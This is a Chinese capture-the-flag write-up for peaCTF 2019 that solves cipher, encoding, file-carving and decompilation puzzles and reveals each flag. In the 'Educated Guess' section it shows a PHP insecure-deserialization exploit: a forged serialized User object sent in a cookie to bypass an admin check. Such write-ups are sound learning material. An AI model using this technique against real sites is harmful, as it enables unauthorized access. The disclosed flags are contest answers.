peaCTF wp

不得不说,现在的初高中生太强了。。。

部分wp如下

Breakfast(Points:50)

题目描述:

Mmm I ate some nice bacon and eggs this morning. Find out what else I had for an easy flag. Don’t forget to capitalize CTF! Ciphertext

附加内容:

011100010000000000101001000101{00100001100011010100000000010100101010100010010001}

题目提到了bacon,则猜测培根加密,将0转换为A,1转换为B,在http://rumkin.com/tools/cipher/baconian.php
进行转换,注意要选择选项I=J and U=V,不正确可以交换A和BSwap A and B,还有就是注意flag格式,flag:peaCTF{eggwaffles}

1
2
3
4
5
6
7
8
9
10
11
str1 = '011100010000000000101001000101{00100001100011010100000000010100101010100010010001}'

decode1 = ''
for i in str1:
if i == '0':
decode1 += 'B'
elif i == '1':
decode1 += 'A'
else:
decode1 += ' '
print(decode1)

Broken Keyboard(Points:50)

题目描述:

Help! My keyboard only types numbers! Ciphertext

附加内容:
112 101 97 67 84 70 123 52 115 99 49 49 105 115 99 48 48 108 125

ascii to str,flag:peaCTF{4sc11isc00l}

Choose your Pokemon(Points:150)

题目描述:

Just a simple type of recursive function. master-ball

附加文件无后缀,用010editor打开,看到了头部有`Rar`,则直接formost,得到一个zip文件,解压后又是一个无后缀文件,再formost,得到一个pdf文件,打开后有一个网址[https://pastebin.com/AWTDEb9j](https://pastebin.com/AWTDEb9j),访问,看到有一堆代码(太多了,粘一小部分):
{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe1041\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}
{\f37\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri;}{\f43\fbidi \froman\fcharset128\fprq2{\*\panose 02020400000000000000}Yu Mincho{\*\falt \'9f\'e0\'96\'be\'92\'a9};}{\f45\fbidi \froman\fcharset128\fprq2 @Yu Mincho;}

复制前两行搜索,了解到这是rtf格式的内容:

RTF是Rich Text Format的缩写,意即多文本格式。这是一种类似DOC格式(Word文档)的文件,有很好的兼容性,使用Windows“附件”中的“写字板”就能打开并进行编辑。使用“写字板”打开一个RTF格式文件时,将看到文件的内容;如果要查看RTF格式文件的源代码,只要使用“记事本”将它打开就行了。这就是说,你完全可以像编辑HTML文件一样,使用“记事本”来编辑RTF格式文件。

则将所有内容clone下来,后缀改为`.rtf`,用word打开得到flag:`flag{wild_type}`

Educated Guess(Points:600)

题目描述:

There is a secured system running at http://shell1.2019.peactf.com:55567/query.php. You have obtained the source code

Hints:
Good programmers follow naming conventions.

直接访问网址,显示`Not logged in.`,把source code下载下来:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!doctype html>
<html>
<head>
<title>Secured System</title>
</head>
<body>
<?php

// https://www.php-fig.org/psr/psr-4/

function autoload($class)
{
include $class . '.class.php';
}

spl_autoload_register('autoload');

if (!empty($_COOKIE['user'])) {
$user = unserialize($_COOKIE['user']);

if ($user->is_admin()) {
echo file_get_contents('../flag');
} else {
http_response_code(403);
echo "Permission Denied";
}
} else {
echo "Not logged in.";
}
?>
</body>
</html>

有些函数是第一次见到:

1.__autoload — 尝试加载未定义的类;使用这个函数的基本条件是类文件的文件名要和类名字保持一致

当程序用到某个类时,如果之前没有引入这个类,就会自动执行该函数,函数会根据类名称来查找类文件的路径

2.spl_autoload_register — 注册给定的函数作为 __autoload 的实现

source code中有个注释的链接,讲的是PHP PSR-4自动加载,PSR就是PHP Standards Recommendation的简称,即PHP代码规范,实在看不懂就在网上找了一个中文版的https://segmentfault.com/a/1190000002521658

代码中,$_COOKIE[‘user’]参数是可控的,但反序列化类能成功的条件是文件中已存在该类,代码通过include $class . '.class.php';的方式把类包含进来,关键就是要知道类名是什么了

比较坑的是,这道题要靠猜来做(Educated Guess),比较走运的是,我猜了两次就猜对了23333,发现了类文件路径:

http://shell1.2019.peactf.com:55567/User.class.php

之后就要构造序列化了,因为文件名知道了,那么类名也就知道了是User,关键是代码有个判断语句if ($user->is_admin()),可以知道类中定义了一个is_admin方法,该方法会通过某标志判断你是不是admin,那么关键得知道这个标志,即属性名是什么

又要猜测了…把userrootis_adminadmin依次不断更换大小写尝试(哭),最终试出来属性字段是admin

猜测User.class.php的内容大概为:

class User
{
    public $admin;
    public function is_admin()
    {
        if($this->$admin === 1){
            return TRUE;
        }
        else{
            return FALSE;
        }
    }
}

构造序列化:

$a = new User();
$a->admin = 1;
echo serialize($a);

payload:

user=O:4:"User":1:{s:5:"admin"%3bi:1%3b};

放到Cookie中,发包即可看到flag:flag{peactf_follow_conventions_9b778fab2e0ed7d6590c51e799589392}

School(Points:100)

题目描述:

My regular teacher was out sick so we had a substitute today. Ciphertext

附加内容:
Alphabet: ​WCGPSUHRAQYKFDLZOJNXMVEBTIzswGXU{ljwdhsqmags}

看到substitudeAlphabet,就想到了单表代替密码,数了一下字母,发现正好前面有26个大写字母,那么后面的应该为密文,替换表为:

A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z
W  C  G  P  S  U  H  R  A  Q  Y  K  F  D  L  Z  O  J  N  X  M  V  E  B  T  I

得到密文对应的明文为:

zswGXU{ljwdhsqmags}

peaCTF{orangejuice}

Coffee Time(Points:250)

题目描述:

Run this jar executable in a virtual machine and see what happens. coffeetime.jar

下载附件后打不开,重新配了java环境也不行,那么就查看程序源码,先用formost分离,之后反编译CoffeeTime.class这个文件,直接看到了flag:
if(line.equals(result.toString()))
{
    if(System.currentTimeMillis() > timeend + (long)secs)
        System.out.println("Uh-oh, time's out.");
    else
        System.out.println("peaCTF{nice_cup_of_coffee}");
} else
{
    System.out.println("Wrong answer, unfortunately.");
}